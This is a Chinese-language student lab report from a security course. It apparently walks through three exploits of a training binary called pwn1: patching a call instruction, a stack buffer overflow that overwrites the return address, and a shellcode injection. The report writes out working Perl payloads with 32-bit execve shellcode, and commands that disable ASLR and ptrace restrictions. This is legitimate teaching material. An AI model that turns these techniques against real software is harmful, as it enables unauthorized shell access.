《网络攻防实践》实践九报告

20252809 2025-2026-2 《网络攻防实践》实践九报告

1. 实践目标

本次实践的对象是一个名为 pwn1 的 Linux 可执行文件。

该程序正常执行流程是:main 调用 foo 函数,foo 函数会简单回显任何用户输入的字符串。

该程序同时包含另一个代码片段 getShell,会返回一个可用 Shell。正常情况下这个代码不会被运行。本次实践的目标就是想办法运行这个代码片段。我们将学习两种方法运行该代码片段,然后学习如何注入运行任何 Shellcode。

三个实践内容如下:

  1. 手工修改可执行文件,改变程序执行流程,直接跳转到 getShell 函数。
  2. 利用 foo 函数的 Bof 漏洞,构造一个攻击输入字符串,覆盖返回地址,触发 getShell 函数。
  3. 注入一个自己制作的 Shellcode 并运行这段 Shellcode。

2. 实验要求

  • 掌握 NOP、JNE、JE、JMP、CMP 汇编指令的机器码
  • 掌握反汇编与十六进制编程器
  • 能正确修改机器指令改变程序执行流程
  • 能正确构造 Payload 进行 Bof 攻击

3. 实验过程

3.0 关键汇编指令机器码速查

汇编指令 指令含义 常见机器码 备注
NOP 无操作(空指令) 0x90 常用于 NOP 滑板
JNE / JNZ 不等则跳转 0x75 (rel8) 条件跳转,偏移为8位
JE / JZ 相等则跳转 0x74 (rel8) 条件跳转,偏移为8位
JMP rel8 短跳转 0xEB 相对偏移范围为 -128 ~ 127
JMP rel32 近跳转 0xE9 相对偏移为32位
CMP reg/mem, reg/imm 比较操作 0x38-0x3D 具体机器码取决于操作数

任务一:修改可执行文件,直接跳转到 getShell

1. 修改主机名

sudo su
hostname 学号姓名缩写
hostname

image

重启后即可生效。

2. 下载并重命名程序

将学习通上的 pwn1 下载到 Kali 中,并改名:

mv pwn1 pwn2809wch

image

3. 安装 Pwn 所需工具

sudo apt update
sudo apt install gdb execstack vim objdump perl -y

image

4. 反汇编分析

objdump -d pwn2809wch | more

image

通过反汇编结果,可以得到以下关键信息:

函数 / 指令 地址 机器码
getShell 0x0804847d -
maincall foo 0x080484b5 e8 d7 ff ff ff
call foo 的下一条指令 0x080484ba -

偏移计算原理:

目标地址 - call 指令的下一条指令地址 = 相对偏移

0x0804847d - 0x080484ba = 0xffffffc3

因此,需要将原来的机器码 e8 d7 ff ff ff 改成 e8 c3 ff ff ff(只需将第二个字节 d7 改成 c3,其余不变)。

5. 使用 Vim 修改二进制文件

q 退出 objdump 分页模式,切换为十六进制模式:

vim pwn2809wch

image

6. 切换为十六进制显示

在 Vim 中输入:

:%!xxd

image

7. 定位目标机器码

输入 /e8 d7 可直接定位到需要修改的位置。
image

8. 修改机器码并保存

将其中的 d7 修改为 c3,然后还原二进制并保存:

:%!xxd -r
:wq

image

9. 验证修改结果

重新执行反汇编命令,可以看到 call 指令的目标已修改为 getShell
image

10. 运行验证

./pwn2809wch

如果出现权限不足的情况:

chmod 777 pwn2809wch

image

运行后可直接弹出 Shell,说明任务一成功完成。


任务二:缓冲区溢出漏洞,覆盖返回地址触发 getShell

1. 分析并构造 Payload

重新备份一份新的 pwn2809wch,给予最高权限。通过反汇编 foo 函数,得知缓冲区大小为 28 字节,栈结构为:

28 字节缓冲区 + 4 字节 EBP = 32 字节偏移

查得 getShell 函数地址为 0x0804847d,构造 Payload 为:32 个 A + 小端序地址

2. 生成 Payload 文件

perl -e 'print "A" x 32;print "\x7d\x84\x04\x08"' > input_2809wch

image

3. 验证 Payload 内容

使用 xxd 查看生成的 Payload 文件:
image

  • 前 32 字节(0x00-0x1F):全是 41(ASCII 码 'A'),共 32 字节。这正好填满了 28 字节缓冲区 + 4 字节旧 EBP,刚好到达返回地址的位置。
  • 后 4 字节(0x20-0x23)7d 84 04 08,即 getShell 函数地址 0x0804847d 的小端序形式 \x7d\x84\x04\x08。这 4 字节会直接覆盖函数的返回地址,让程序执行完 foo 后跳转到 getShell

结论:Payload 构造成功。

4. 执行攻击,拿到 Shell

chmod u+x ./pwn2809wch
(cat input_2809wch; cat) | ./pwn2809wch

image

执行后直接进入交互式 Shell,输入 lswhoami 验证,任务二完成。


任务三:注入并执行自定义 Shellcode

1. 安装 execstack 工具

由于在线下载失败,选择离线下载 execstack 的 deb 安装包:

# 下载地址:http://archive.ubuntu.com/ubuntu/pool/universe/p/prelink/execstack_0.0.20131005-1.1_amd64.deb
sudo dpkg -i execstack_0.0.20131005-1.1_amd64.deb

image

执行 execstack --help,若出现帮助信息即表示安装成功。

2. 设置堆栈可执行权限

chmod u+x pwn2809wch
sudo execstack -s ./pwn2809wch
sudo execstack -q ./pwn2809wch

image

输出带 X 即表示设置成功。

3. 关闭系统 ASLR 地址随机化

sudo sh -c 'echo 0 > /proc/sys/kernel/randomize_va_space'
cat /proc/sys/kernel/randomize_va_space

image

输出 0 表示关闭,2 表示开启。此处关闭成功。

4. 构造初始 Payload(用于 GDB 调试定位地址)

该 Payload 用于触发溢出,帮助我们找到 Shellcode 的内存地址:

perl -e 'print "A" x 32;print "\x01\x02\x03\x04\x90\x90\x90\x90\x90\x90\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80\x00"' > input_shellcode

Payload 结构说明:

部分 内容 作用
A x 32 32 个字符 'A' 填满缓冲区和旧的 EBP,刚好覆盖到返回地址
\x01\x02\x03\x04 占位返回地址 后面会替换成真实地址
\x90 x 6 NOP 滑板 提高 Shellcode 的命中率
后续字节 32 位 Linux 标准 Shellcode 用来获取 Shell

image

5. GDB 调试,获取 Shellcode 的真实内存地址

打开两个终端:

终端 1:加载初始 Payload

(cat input_shellcode; cat) | ./pwn2809wch

image

终端 2:找到进程 PID

ps aux | grep pwn2809wch

image

记录 pwn2809wch 的进程 PID(7138)。

终端 2:用 GDB 附加到进程

gdb
attach <PID>

image

找到 foo 函数的 ret 指令地址

disassemble foo

image

记录 ret 指令的地址(如 0x080484ae)。

设置断点

break *0x080484ae

image

让程序运行到断点

c

image

然后切回终端 1,按一下回车键,程序就会跑到断点停下,GDB 里会显示断住信息。

查看当前栈顶 ESP 的地址

info r esp

image

记录栈顶地址(0xffd8fb5c),这就是程序执行到 ret 指令时的栈顶地址。

计算 Shellcode 的真实地址

0xffd8fb5c + 4 = 0xffd8fb60

添加说明:返回地址被弹出后 ESP+4 指向 NOP 滑板

把地址转成小端序

0xffd8fb60 → 拆成字节:ff d8 fb 60 → 小端序:\x60\xfb\xd8\xff

6. 生成最终的 Payload

终端 2 输入 quit 退出 GDB,然后生成最终的 Payload:

perl -e 'print "A" x 32;print "\x60\xfb\xd8\xff\x90\x90\x90\x90\x90\x90\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80\x00"' > input_final

image

7. 执行攻击

去终端 1 关闭正在运行的程序,然后执行攻击命令:

Ctrl + C
(cat input_final; cat) | ./pwn2809wch

image

终端会变成一个空白命令行,即成功拿到了 Shell,任务三完成。


4. 学习遇到的问题

  • 问题 1:实验在下载安装 gdb 的过程中一直出现网络超时的情况

    • 解决方案:将虚拟机网卡配置的 NAT 网卡移除,换成桥接模式,即可正常下载。
  • 问题 2:使用 GDB 附加进程时提示 ptrace: Operation not permitted,无法调试

    • 原因分析:Kali Linux 等现代发行版默认启用了 YAMA 安全模块,限制了非父进程对其它进程的 ptrace 操作(即只有父进程可以调试子进程)。当我们在终端 2 中使用 gdb attach <PID> 时,GDB 不是被测进程的父进程,因此被内核拒绝。
    • 解决方案
      1. 临时关闭 YAMA ptrace 限制(推荐,实验后恢复):
        sudo sysctl -w kernel.yama.ptrace_scope=0
      2. 永久修改(可选):编辑 /etc/sysctl.d/10-ptrace.conf,设置 kernel.yama.ptrace_scope = 0 并执行 sudo sysctl -p
      3. 使用 root 权限运行 GDBsudo gdb attach <PID>,但需要确保终端 1 中的程序也以相同用户(一般为普通用户)运行,否则可能引入权限差异。
      4. 验证:修改后再次执行 attach,应能正常进入调试界面。

5. 实践总结

5.0 三种攻击方式对比

对比维度 任务一(修改文件) 任务二(Bof 覆盖返回地址) 任务三(Shellcode 注入)
是否需要修改可执行文件 是(直接修改二进制)
是否依赖缓冲区溢出漏洞
是否需要关闭 ASLR 是(推荐)
是否需要堆栈可执行
是否需要构造 Payload 是(32字节填充+地址) 是(32字节填充+跳转地址+NOP+Shellcode)
是否使用外部工具调试定位地址 是(GDB 动态调试)
攻击成功率稳定性 100%(修改后固定跳转) 100%(地址固定) 较高(受栈地址波动影响)
技术核心 理解相对寻址与机器码修改 理解栈帧结构与返回地址覆盖 理解栈执行、地址泄露与 NOP 滑板

本次实验围绕 Linux 可执行文件的漏洞利用展开,系统学习了三种经典的攻击技术:

任务一让我理解了程序执行流程的本质——通过修改机器指令中的相对偏移地址,可以直接改变程序的控制流。这种"硬编码"级别的修改虽然简单粗暴,但揭示了二进制程序的可篡改性,也让我深刻理解了 call 指令的相对寻址机制。

任务二是缓冲区溢出攻击的经典实践。通过精确计算缓冲区大小、EBP 占用空间和返回地址位置,构造出覆盖返回地址的 Payload,实现了对程序执行流程的劫持。这个过程让我理解了栈帧结构、函数调用约定以及小端序地址存储等核心概念。

任务三是最具挑战性的 Shellcode 注入。从关闭 ASLR、设置堆栈可执行,到构造 NOP 滑板、定位 Shellcode 内存地址,再到最终生成精确指向 Shellcode 的 Payload,每一步都需要对系统底层机制有清晰的理解。GDB 动态调试的过程让我体会到"在内存中追踪代码"的精妙之处。

总而言之,本次实践不仅让我掌握了三种具体的漏洞利用技术,更重要的是建立了"从汇编指令到内存布局,从静态分析到动态调试"的完整攻击思维框架。这些技能是深入理解软件安全、开展渗透测试和漏洞研究的重要基础。

6. 致谢

感谢《网络攻防实践》课程王老师的悉心指导与耐心解答,为本次实验提供了清晰的思路框架与专业的技术支持。感谢老师提供的实验环境和样本资源,使我们能够在安全可控的条件下开展二进制漏洞利用实践。同时感谢开源社区中 GDB、Vim、Perl 等优秀工具的开发者与维护者,正是这些成熟可靠的技术工具,为安全研究提供了坚实的技术基础。

7. 参考资料

[1] GNU Project. GDB - The GNU Project Debugger. https://www.gnu.org/software/gdb/

[2] Vim 官方网站. Vim - the ubiquitous text editor. https://www.vim.org/

[3] Perl 官方网站. The Perl Programming Language. https://www.perl.org/

[4] objdump - GNU Binutils. Linux man pages. https://man7.org/linux/man-pages/man1/objdump.1.html

[5] execstack - tool to set, clear, or query executable stack flag of ELF binaries. Ubuntu Packages. https://packages.ubuntu.com/

[6] Aleph One. Smashing The Stack For Fun And Profit. Phrack Magazine, Issue 49, 1996. 经典缓冲区溢出攻击原理文献

[7] 诸葛建伟, 陈力波等. 《网络攻防技术与实践》. 电子工业出版社, 2017.

posted @ 2026-05-14 17:51  dky王铖浩  阅读(1)  评论(0)    收藏  举报